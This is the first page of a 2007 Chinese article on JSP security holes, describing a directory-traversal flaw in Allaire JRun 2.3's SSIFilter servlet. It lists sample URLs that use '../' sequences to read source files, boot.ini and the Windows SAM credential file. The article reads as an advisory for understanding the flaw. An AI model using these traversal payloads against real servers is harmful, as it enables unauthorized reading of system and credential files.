原作者:kuku 添加时间:2007-06-02 原文发表:2007-06-02 人气:7 来源：互联网

---

本文章共5038字，分10页，当前第1页，快速翻页：12345678910

Allaire JRUN 2.3 查看任意文件漏洞 　　Allaire 的 JRUN 服务器 2.3上存在多重显示代码漏洞。该漏洞允许攻击者在 WEB 服务器上查看根目录下的任意文件的源代码。 　　JRun 2.3 使用 Java Servlets 解析各种各样类型的页面（例如：HTML, JavaScript/" target="_blank">JSP等等）。基于rules.properties 和 servlets.properties 的文件设置，可能利用URL前缀"/servlet/"调用任何servlet。 　　它可能使用 Jrun 的 SSIFilter servlet 在目标系统上检索任意的文件。下列 2 个例子显示出能被用来检索任意的文件的 URLs ： http://jrun:8000/servlet/com.livesoftware. jrun.plugins.ssi.SSIFilter/../../t est.jsp http://jrun:8000/servlet/com.livesoftware. jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../. ./../../../../winnt/repair/sam http://jrun:8000/servlet/ssifilter/../../test.jsp http://jrun:8000/servlet/ssifilter/../../../../../../../boot.ini http://jrun:8000/servlet/ssifilter/../../../../../../../winnt/repair/sam._   本文章更多内容：1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - 10 - 下一页>> 本页地址

---

• JSP漏洞大观<1> • Jsp如何实现网页的重定向 • JSP的login程序代码 • 也谈JSP与XML的交互 • 利用RamdonAccessFile来实现文件的追加 • 关于JSP中文问题的解决方法 • JSP设计模式 • JSP如何连接DB2数据库 • JSP技巧：发送动态图像 • 在JSP中访问数据库大全

• JSP安全性初探<1> • JSP安全性初探<2> • JSP与Java Mail API • JSP与XML的结合<1> • JSP与XML的结合<2> • JSP与XML的结合<3> • 缓冲技术提高JSP程序性能和稳定性<1> • 缓冲技术提高JSP程序性能和稳定性<2> • JSP中图片验证的实现 • 利用iText在JSP中生成PDF报表

---

本文章所属分类：首页 → 推荐教程 → JSP编程   JSP编程